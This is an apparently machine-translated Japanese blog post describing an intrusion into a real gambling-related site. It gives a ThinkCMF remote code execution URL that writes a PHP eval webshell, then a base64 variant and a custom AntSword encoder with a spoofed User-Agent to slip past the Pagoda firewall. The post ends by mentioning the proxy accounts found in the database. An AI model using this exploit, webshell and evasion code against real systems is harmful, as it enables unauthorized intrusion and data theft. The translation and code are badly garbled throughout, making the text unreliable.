Jump to content

0x00情報収集

メインサイトにはクラウドWAFがあるため、テストされるとすぐにブロックされ、予備テストで使用できる穴がないため、サブサイトに切り替えて、サブサイトを通じて貴重な情報を取得したいと考えています。

1049983-20220112164551048-417320309.png

これは、プロキシアカウントを照会するサイトです。 URL入力管理者は自動的に背景にジャンプします。

1049983-20220112164551620-1446535893.png

このパラメーターを見て、それはcmfになるかもしれないと推測します

0x01 getShell

ThinkCmfはたまたまRCEを持っています。あなたはそれを試すことができます

?a=fetchtemplatefile=public/indexprefix='' content=phpfile_put_contents( 'test1.php'、 '?php @eval($ _ post [zero])?')/php 1049983-20220112164552044-677112220.png

白い画面は良い兆候です、それは成功する必要があります

訪問

1049983-20220112164552436-718691216.png

Ant Sword Connectionを試して、エラーを直接報告してください。ファイアウォールに遭遇したのかもしれません

1049983-20220112164552799-1836727167.png

その後、戻ってきて、シェルが手動でphpinfoを試してみてください

1049983-20220112164553285-397754991.png

案の定、パゴダファイアウォールがあります

0x02パゴダファイアウォールをバイパス

パゴダはいくつかの機能をフィルタリングする必要があるため、ペイロードを直接渡すことは間違いなく不可能であるため、トラフィックを難読化する必要があります。

すべてのペイロードBase64エンコーディングを転送してみてください

コード化されたbase64は渡されるため、Xiao MAもそれに応じて変更を加える必要があります。合格したbase64を1回復号化するだけです。

ポニーは次のとおりです。

?php @eval(base64_decode($ _ post [zero]));

cghwaw5mbygpow==としてphpinfo(); base64をエンコードします

送信

1049983-20220112164553930-1137618434.png

パゴダファイアウォールはもう傍受されておらず、パゴダファイアウォールをうまくバイパスしていることがわかります。

0x03アリの剣の変換

Base64エンコーディングを使用していますが、Ant Swordには実際に独自のBase64エンコーディングとデコーダーが付属しています。

付属のbase64エンコーダーを直接使用してみてください

1049983-20220112164554625-1682842815.png

なぜこれが起こっているのですか?

アリの剣からの流れを分析しようとします

げっぷにプロキシを設定します

1049983-20220112164555153-1095949143.png

トラフィックを傍受します

1049983-20220112164555617-1054448656.png

WAFによって簡単に認識される2つの場所が明らかにあることがわかります。

1つは次のとおりです。ユーザーエージェントヘッダーのキーワード:Antsword/v2.1これは、WAFに私が誰であるかを伝えることに相当するため、これが変更される最初のポイントです。

第二に、アリの剣のトラフィックには実際にキーワードがあります。たとえば、CMDパラメーターの後の評価base64_decodeはすべてであり、ポニーにはbase64復号化が付属しているため、デフォルトのエンコーダーを使用すると、WAFを通過できないだけでなく、wafがなければポニーに接続できないため、エンコーダーを自分で定義する必要があります。

新しいPHPエンコーダーを作成します

1049983-20220112164556034-100799155.png

payloadbase64を1回だけエンコードする必要があるため、データの割り当て['_'] Base64を直接処理できます。ランダムなパラメーターがあるかどうかは関係ありません。

エンコーダーは次のとおりです

「Strictを使用」;

/*

* @param {string} pwd接続パスワード

* @param {array}エンコーダー処理前のデータペイロード配列

* @return {array}データエンコーダーによって処理されたペイロード配列

*/

module.exports=(pwd、data、ext={})={

data [pwd]=buffer.from(data ['_'])。toString( 'base64');

データを削除['_'];

データを返す;

}

次に、UAヘッダーを変更します

1049983-20220112164556453-1074055494.png

エンコーダーの適用デコーダーはデフォルトで指定する必要はありません

スパムデータとマルチパートパケットを追加することを選択することをお勧めします

1049983-20220112164556945-1615615751.png

接続をもう一度テストします

1049983-20220112164557635-1866671821.png

1049983-20220112164558088-998864945.png

次に、ディレクトリをクリックして、まだ問題があることがわかります。ディレクトリを横断することはできません。この問題は、実際にはゴジラによって解決できます。ゴジラ馬をアップロードします。

誰かがここで尋ねてから、ゴジラの馬を直接アップロードするだけですか?実際の状況は、GETパラメーター送信に長さの制限があり、一部のシンボルにより、PHPファイルの切り捨てがそのままアップロードできなくなることです。

1049983-20220112164558469-1007988296.png

ウェブサイトはかなりありますが、メインサイトがないことは残念です。データベースには、プロキシアカウントがたくさんあります。それは時間の無駄です

1049983-20220112164558847-145283342.png

0x03要約

1。BCのターゲットメインサイトにアクセスする場合、搾取可能な脆弱性はありません。サブサイトにアクセスして管理ディレクトリに入力することにより、背景にジャンプします。 2。CMSフィンガープリントクエリを介して、サブサイトはThinkCMFフレームワークであることがわかりました。3http://www.xxx.com/?a=fetchtemplatefile=public/indexprefix='content=file_put_put_contents(ZEL.PHP @evAl [ZEL。アクセスアドレスhttp://www.xxx.com/test1.phpに空白が表示されます。 5.アリの剣の接続を試して、エラーを直接報告し、ポストコマンドを実行し、Pagodaファイアウォールがhttp://wwwww.xxx.com/test1.phppost:zero=phpinfo(); 6;ここでRCEは、文を書いています。Base64Encryption3http://www.xxx.com/?a=fetchtemplatefile=public/indexprefix='Content=file_put_put_contents('test2.php','?php @eval(base64_decode($ _ post [zero])7。 phpinfo(); base64としてcghwaw5mbygpow==としてbase64をエンコードし、http://wwwww.xxx.com/test2.phppost:zero=cghwaw5mbygpow5mbygpow==7 pagoda fir fir fir fir fir fir fir fir fira firewallは、アリのエージェントをインターセプトします。 CMDパラメーター。 1つは、ユーザーエージェントヘッダーのキーワード:Antsword/v2.1です。これは、WAFに私が誰であるかを伝えることと同等です。これは、変更される最初のポイントです。第二に、アリの剣のトラフィックは実際にはまだキーワードです。たとえば、CMDパラメーターの後の評価base64_decodeはすべてであり、私たちの小さな馬にはbase64 Decryption 8が付属しています。

/** @param {string} pwd接続パスワード* @param {array} data payload array before encoder processing* @return {array} data payload array andy encoder processing*/module.exports=(pwd、data、ext={})={{{{{

data [pwd]=buffer.from(data ['_'])。toString( 'base64');

データを削除['_'];

データを返す;} 9。 Ant Sword user-agentvaule:のリクエスト情報でUAヘッダー名:を通常のHTTP要求値に変更します。まだアクセスしないようにディレクトリをクリックします。 12.同じ方法を使用して、GodzillaのデフォルトのBase64エンコーダーをロードおよび改造します。これにより、パゴダファイアウォールをバイパスして通常アクセスできます。

オリジナルリンク:https://xz.aliyun.com/t/9295

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...